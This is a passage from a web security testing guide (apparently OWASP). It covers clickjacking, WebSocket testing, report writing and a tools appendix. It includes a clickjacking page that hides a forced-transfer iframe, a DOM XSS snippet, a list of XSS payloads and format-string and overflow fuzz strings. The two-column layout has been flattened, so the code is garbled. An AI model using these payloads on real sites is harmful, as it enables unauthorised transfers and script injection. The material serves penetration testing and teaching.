last step (Note: in this example, for simplicity, there is no input saniti-
zation, but it has no relevance to block this type of attack):
The clickjacking code the create this page is presented below:
if( (!empty($_SESSION[‘antiCsrf’])) && (!empty($_POST[‘an-
tiCsrf’])) ) <html>
{ <head>
<title>Trusted web page</title>
//here we can suppose input sanitization code…
<style type=”text/css”><!--
//check the anti-CSRF token *{
if( ($_SESSION[‘antiCsrf’] == $_POST[‘antiCsrf’]) ) margin:0;
{ padding:0;
echo ‘<p> ‘. $_POST[‘amount’] .’ € suc- }
cessfully transfered to account: ‘. $_POST[‘account’] .’ </p>’; body {
} background:#ffffff;
}
} .button
else {
{ padding:5px;
echo ‘<p>Transfer KO</p>’; background:#6699CC;
} left:275px;
width:120px;
border: 1px solid
As you can see the code is protected from CSRF attack both with
205
Tools
}
• Context Information Security: “Clickjacking Tool” - http://www
#content { contextis.com/research/tools/clickjacking-tool/
width: 500px;
height: 500px; References
margin-top: 150px ; OWASP Resources
margin-left: 500px; • Clickjacking
}
#clickjacking Whitepapers
{ • Marcus Niemietz: “UI Redressing: Attacks and Countermeasures
position: absolute; Revisited” - http://ui-redressing.mniemietz.de/uiRedressing.pdf
• “Clickjacking” - https://en.wikipedia.org/wiki/Clickjacking
left: 172px;
• Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson:
top: 60px;
“Busting Frame Busting: a Study of Clickjacking Vulnerabilities on
filter: alpha(opaci- Popular Sites” - http://seclab.stanford.edu/websec/framebusting/
ty=0); framebust.pdf
opacity:0.0 • Paul Stone: “Next generation clickjacking” - https://media.blackhat
} com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-
//--></style> Next-Generation-Clickjacking-slides.pdf
</head> Testing WebSockets (OTG-CLIENT-010)
<body> Summary
<div id=”content”> Traditionally the HTTP protocol only allows one request/response
per TCP connection. Asynchronous JavaScript and XML (AJAX) al-
<h1>www.owasp.com</h1>
lows clients to send and receive data asynchronously (in the back-
<form action=”http://www.
ground without a page refresh) to the server, however, AJAX requires
owasp.com”> the client to initiate the requests and wait for the server responses
<input type=”submit” (half-duplex).
class=”button” value=”Click and go!”>
</form> HTML5 WebSockets allow the client/server to create a ‘full-duplex’
</div> (two-way) communication channels, allowing the client and server
to truly communicate asynchronously. WebSockets conduct their
<iframe id=”clickjacking” src=”http://localhost/ initial ‘upgrade’ handshake over HTTP and from then on all commu-
csrf/transfer.php?account=ATTACKER&amount=10000” nication is carried out over TCP channels by use of frames.
width=”500” height=”500” scrolling=”no” frameborder=”-
Origin
none”>
It is the server’s responsibility to verify the Origin header in the initial
</iframe>
HTTP WebSocket handshake. If the server does not validate the ori-
</body> gin header in the initial WebSocket handshake, the WebSocket server
</html> may accept connections from any origin. This could allow attackers
to communicate with the WebSocket server cross-domain allowing
With the help of CSS (note the #clickjacking block) we can mask and for Top 10 2013-A8-Cross-Site Request Forgery (CSRF) type issues.
suitably position the iframe in such a way as to match the buttons.
If the victim click on the button “Click and go!” the form is submitted Confidentiality and Integrity
and the transfer is completed. WebSockets can be used over unencrypted TCP or over encrypted
TLS. To use unencrypted WebSockets the ws:// URI scheme is used
(default port 80), to use encrypted (TLS) WebSockets the wss:// URI
scheme is used (default port 443). Look out for Top 10 2013-A6-Sen-
sitive Data Exposure type issues.
Authentication
WebSockets do not handle authentication, instead normal application
authentication mechanisms apply, such as cookies, HTTP Authenti-
cation or TLS authentication. Look out for Top 10 2013-A2-Broken
Authentication and Session Management type issues.
Authorization
WebSockets do not handle authorization, normal application autho-
The example presented uses only basic clickjacking technique, but rization mechanisms apply. Look out for Top 10 2013-A4-Insecure
with advanced technique is possible to force user filling form with Direct Object References and Top 10 2013-A7-Missing Function
values defined by the attacker. Level Access Control type issues.
206
2. Origin.
• Using a WebSocket client (one can be found in the Tools section
below) attempt to connect to the remote WebSocket server. If a
connection is established the server may not be checking the origin
header of the WebSocket handshake.
5. Authorization. ZAP is an easy to use integrated penetration testing tool for finding
• WebSockets do not handle authorization, normal black-box vulnerabilities in web applications. It is designed to be used by people
authorization tests should be carried out. Refer to the Authorization with a wide range of security experience and as such is ideal for de-
Testing sections of this guide. velopers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow
6. Input Sanitization. you to find security vulnerabilities manually.
• Use OWASP Zed Attack Proxy (ZAP)’s WebSocket tab to replay
and fuzz WebSocket request and responses. Refer to the Testing • WebSocket Client - https://github.com/RandomStorm/scripts
for Data Validation sections of this guide. blob/master/WebSockets.html
Whitepapers
• HTML5 Rocks - Introducing WebSockets: Bringing Sockets to
the Web: http://www.html5rocks.com/en/tutorials/websockets/
basics/
• W3C - The WebSocket API: http://dev.w3.org/html5/websockets/
• IETF - The WebSocket Protocol: https://tools.ietf.org/html
rfc6455
207
Tools
Using Firefox with the Firebug add on you can easily inspect the lo- • Firebug - http://getfirebug.com/
calStorage/sessionStorage object in the DOM tab. • Google Chrome Developer Tools - https://developers.google.com
chrome-developer-tools/
• OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index
php/OWASP_Zed_Attack_Proxy_Project
function action(){
localStorage.setItem(“item”,resource);
item = localStorage.getItem(“item”);
document.getElementById(“div1”).innerHTML=item;
}
</script>
<body onload=”action()”>
<div id=”div1”></div>
</body>
URL PoC:
210
5 Reporting
Performing the technical side of the assessment is only half
of the overall assessment process. The final product is the
production of a well written and informative report. A report
should be easy to understand and should highlight all the
risks found during the assessment phase.
Performing the technical side of the assessment is only half of the faced throughout the assessment. For example, limitations of
overall assessment process. The final product is the production project-focused tests, limitation in the security testing meth-
of a well written and informative report. A report should be easy ods, performance or technical issues that the tester come across
to understand and should highlight all the risks found during the during the course of assessment, etc.
assessment phase. The report should appeal to both executive
management and technical staff. 2.6 Findings Summary This section outlines the vulnerabilities
that were discovered during testing.
The report needs to have three major sections. It should be creat-
ed in a manner that allows each separate section to be printed and 2.7 Remediation Summary This section outlines the action plan
given to the appropriate teams, such as the developers or system for fixing the vulnerabilities that were discovered during testing.
managers. The recommended sections are outlined below.
3. Findings
1. Executive Summary The last section of the report includes detailed technical infor-
The executive summary sums up the overall findings of the as- mation about the vulnerabilities found and the actions needed to
sessment and gives business managers and system owners a resolve them. This section is aimed at a technical level and should
high level view of the vulnerabilities discovered. The language include all the necessary information for the technical teams to
used should be more suited to people who are not technically understand the issue and resolve it. Each finding should be clear
aware and should include graphs or other charts which show the and concise and give the reader of the report a full understanding
risk level. Keep in mind that executives will likely only have time to of the issue at hand.
read this summary and will want two questions answered in plain
language: 1) What’s wrong? 2) How do I fix it? You have one page The findings section should include:
to answer these questions.
• Screenshots and command lines to indicate what tasks were
The executive summary should plainly state that the vulnerabili- undertaken during the execution of the test case
ties and their severity is an input to their organizational risk man- • The affected item
agement process, not an outcome or remediation. It is safest to • A technical description of the issue and the affected function
explain that tester does not understand the threats faced by the or object
organization or business consequences if the vulnerabilities are • A section on resolving the issue
exploited. This is the job of the risk professional who calculates • The severity rating [1], with vector notation if using CVSS
risk levels based on this and other information. Risk management
will typically be part of the organization’s IT Security Governance, The following is the list of controls that were tested during the
Risk and Compliance (GRC) regime and this report will simply pro- assessment:
vide an input to that process.
2. Test Parameters
The Introduction should outline the parameters of the security
testing, the findings and remediation. Some suggested section
headings include:
2.3 Project Schedule This section outlines when the testing com-
menced and when it was completed.
Reporting
Reporting
Reporting
Appendix
Appendix passing in both directions, it can work with custom SSL certificates
and non-proxy-aware clients.
Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/
• Odysseus is a proxy server, which acts as a man-in-the-middle
during an HTTP session. A typical HTTP proxy will relay packets to and
from a client browser and a web server. It will intercept an HTTP ses-
This section is often used to describe the commercial and open- sion’s data in either direction.
source tools that were used in conducting the assessment. When Webstretch Proxy - http://sourceforge.net/projects/webstretch
custom scripts or code are utilized during the assessment, it should • Webstretch Proxy enable users to view and alter all aspects of com-
be disclosed in this section or noted as attachment. Customers ap- munications with a web site via a proxy. It can also be used for debug-
preciate when the methodology used by the consultants is included. It ging during development.
gives them an idea of the thoroughness of the assessment and what WATOBO - http://sourceforge.net/apps/mediawiki/watobo/index.
areas were included. php?title=Main_Page
• WATOBO works like a local proxy, similar to Webscarab, ZAP or
References Industry standard vulnerability severity and risk rankings BurpSuite and it supports passive and active checks.
(CVSS) [1] – http://www.first.org/cvss Firefox LiveHTTPHeaders - https://addons.mozilla.org/en-US/fire-
fox/addon/live-http-headers/
• View HTTP headers of a page and while browsing.
Appendix A: Testing Tools Firefox Tamper Data - https://addons.mozilla.org/en-US/firefox/ad-
Open Source Black Box Testing tools don/tamper-data/
General Testing • Use tamperdata to view and modify HTTP/HTTPS headers and post
parameters
OWASP ZAP Firefox Web Developer Tools - https://addons.mozilla.org/en-US/
• The Zed Attack Proxy (ZAP) is an easy to use integrated penetration firefox/addon/web-developer/
testing tool for finding vulnerabilities in web applications. It is designed • The Web Developer extension adds various web developer tools to
to be used by people with a wide range of security experience and as the browser.
such is ideal for developers and functional testers who are new to DOM Inspector - https://developer.mozilla.org/en/docs/DOM_In-
penetration testing. spector
• ZAP provides automated scanners as well as a set of tools that allow • DOM Inspector is a developer tool used to inspect, browse, and edit
you to find security vulnerabilities manually. the Document Object Model (DOM)
OWASP WebScarab Firefox Firebug - http://getfirebug.com/
• WebScarab is a framework for analysing applications that commu- • Firebug integrates with Firefox to edit, debug, and monitor CSS,
nicate using the HTTP and HTTPS protocols. It is written in Java, and is HTML, and JavaScript.
portable to many platforms. WebScarab has several modes of opera- Grendel-Scan - http://securitytube-tools.net/index.php?title=Gren-
tion that are implemented by a number of plugins. del_Scan
OWASP CAL9000 • Grendel-Scan is an automated security scanning of web applications
• CAL9000 is a collection of browser-based tools that enable more ef- and also supports manual penetration testing.
fective and efficient manual testing efforts. OWASP SWFIntruder - http://www.mindedsecurity.com/swfintruder.
• Includes an XSS Attack Library, Character Encoder/Decoder, HTTP html
Request Generator and Response Evaluator, Testing Checklist, Auto- • SWFIntruder (pronounced Swiff Intruder) is the first tool specifically
mated Attack Editor and much more. developed for analyzing and testing security of Flash applications at
OWASP Pantera Web Assessment Studio Project runtime.
• Pantera uses an improved version of SpikeProxy to provide a power- SWFScan - http://h30499.www3.hp.com/t5/Follow-
ful web application analysis engine. The primary goal of Pantera is to ing-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-
combine automated capabilities with complete manual testing to get p/5440167
the best penetration testing results. • Flash decompiler
OWASP Mantra - Security Framework Wikto - http://www.sensepost.com/labs/tools/pentest/wikto
• Mantra is a web application security testing framework built on top • Wikto features including fuzzy logic error code checking, a back-end
of a browser. It supports Windows, Linux(both 32 and 64 bit) and Mac- miner, Google-assisted directory mining and real time HTTP request/
intosh. In addition, it can work with other software like ZAP using built response monitoring.
in proxy management function which makes it much more conve- w3af - http://w3af.org
nient. Mantra is available in 9 languages: Arabic, Chinese - Simplified, • w3af is a Web Application Attack and Audit Framework. The project’s
Chinese - Traditional, English, French, Portuguese, Russian, Spanish goal is finding and exploiting web application vulnerabilities.
and Turkish. skipfish - http://code.google.com/p/skipfish/
SPIKE - http://www.immunitysec.com/resources-freesoftware.shtml • Skipfish is an active web application security reconnaissance tool.
• SPIKE designed to analyze new network protocols for buffer over- Web Developer toolbar - https://chrome.google.com/webstore/de-
flows or similar weaknesses. It requires a strong knowledge of C to tail/bfbameneiokkgbdmiekhjnmfkcnldhhm
use and only available for the Linux platform. • The Web Developer extension adds a toolbar button to the browser
Burp Proxy - http://www.portswigger.net/Burp/ with various web developer tools. This is the official port of the Web
• Burp Proxy is an intercepting proxy server for security testing of web Developer extension for Firefox.
applications it allows Intercepting and modifying all HTTP(S) traffic HTTP Request Maker - https://chrome.google.com/webstore/detail/
215
Appendix
Appendix
Appendix
Appendix
• OWASP Security Blitz - https://www.owasp.org/index.php/ OWASP Testing Guide Appendix C: Fuzz Vectors
OWASP_Security_Blitz The following are fuzzing vectors which can be used with WebScarab,
• OWASP Phoenix/Tool - https://www.owasp.org/index.php/Phoe- JBroFuzz, WSFuzzer, ZAP or another fuzzer. Fuzzing is the “kitchen
nix/Tools sink” approach to testing the response of an application to parameter
• SANS Internet Storm Center (ISC) - https://www.isc.sans.edu manipulation. Generally one looks for error conditions that are gen-
• The Open Web Application Application Security Project (OWASP) erated in an application as a result of fuzzing. This is the simple part
- http://www.owasp.org of the discovery phase. Once an error has been discovered identifying
• Pentestmonkey - Pen Testing Cheat Sheets - http://pentestmonkey. and exploiting a potential vulnerability is where skill is required.
net/cheat-sheet
• Secure Coding Guidelines for the .NET Framework 4.5 - http://msdn. Fuzz Categories
microsoft.com/en-us/library/8a3x2b7f.aspx In the case of stateless network protocol fuzzing (like HTTP(S)) two
• Security in the Java platform - http://docs.oracle.com/javase/6/ broad categories exist:
docs/technotes/guides/security/overview/jsoverview.html
• System Administration, Networking, and Security Institute (SANS) - • Recursive fuzzing
http://www.sans.org • Replacive fuzzing
• Technical INFO – Making Sense of Security - http://www.
technicalinfo.net/index.html We examine and define each category in the sub-sections that follow.
• Web Application Security Consortium - http://www.webappsec.org/
projects/ Recursive fuzzing
• Web Application Security Scanner List - http://projects.webappsec. Recursive fuzzing can be defined as the process of fuzzing a part of
org/w/page/13246988/Web%20Application%20Security%20 a request by iterating through all the possible combinations of a set
Scanner%20List alphabet. Consider the case of:
• Web Security – Articles - http://www.acunetix.com/
websitesecurity/articles/
http://www.example.com/8302fa3b
Videos
• OWASP Appsec Tutorial Series - https://www.owasp.org/index.php/ Selecting “8302fa3b” as a part of the request to be fuzzed against
OWASP_Appsec_Tutorial_Series the set hexadecimal alphabet (i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}) falls
• SecurityTube - http://www.securitytube.net/ under the category of recursive fuzzing. This would generate a total
• Videos by Imperva - http://www.imperva.com/resources/videos. of 16^8 requests of the form:
asp
>”><script>alert(“XSS”)</script>&
“><STYLE>@import”javascript:alert(‘XSS’)”;</STYLE>
>”’><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
‘%uff1cscript%uff1ealert(‘XSS’)%uff1c/script%uff1e’
“>
>”
‘’;!--”<XSS>=&{()}
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert("XSS<WBR>")>
<IMGSRC=java&<WBR>#115;crip&<WBR>#116;:a
le&<WBR>#114;t('XS<WBR>;S')>
<IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t:
&<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')>
<IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert(
&<WBR>#x27XSS')>
<IMG SRC=”jav	ascript:alert(<WBR>’XSS’);”>
<IMG SRC=”jav
ascript:alert(<WBR>’XSS’);”>
<IMG SRC=”jav
ascript:alert(<WBR>’XSS’);”>
Buffer Overflows and Format String Errors crash a program. Fuzzing for such errors has as an objective to check
Buffer Overflows (BFO) for unfiltered user input.
A buffer overflow or memory corruption attack is a programming An excellent introduction on FSE can be found in the USENIX paper
condition which allows overflowing of valid data beyond its prelocat- entitled: Detecting Format String Vulnerabilities with Type Qualifiers
ed storage limit in memory.
Note that attempting to load such a definition file within a fuzzer ap-
For details on Buffer Overflows: Testing for Buffer Overflow plication can potentially cause the application to crash.
Note that attempting to load such a definition file within a fuzzer ap-
plication can potentially cause the application to crash.
%s%p%x%d
.1024d
Ax5 %.2049d
A x 17 %p%p%p%p
A x 33 %x%x%x%x
A x 65 %d%d%d%d
A x 129 %s%s%s%s
A x 257 %99999999999s
A x 513 %08x
A x 1024 %%20d
A x 2049 %%20n
A x 4097 %%20x
A x 8193 %%20s
A x 12288 %s%s%s%s%s%s%s%s%s%s
%p%p%p%p%p%p%p%p%p%p
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%-
Format String Errors (FSE) j%z%Z%t%i%e%g%f%a%C%S%08x%%
Format string attacks are a class of vulnerabilities that involve sup- %s x 129
plying language specific format tokens to execute arbitrary code or
220
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
For the above script to work, the browser has to interpret the web
page as encoded in UTF-7.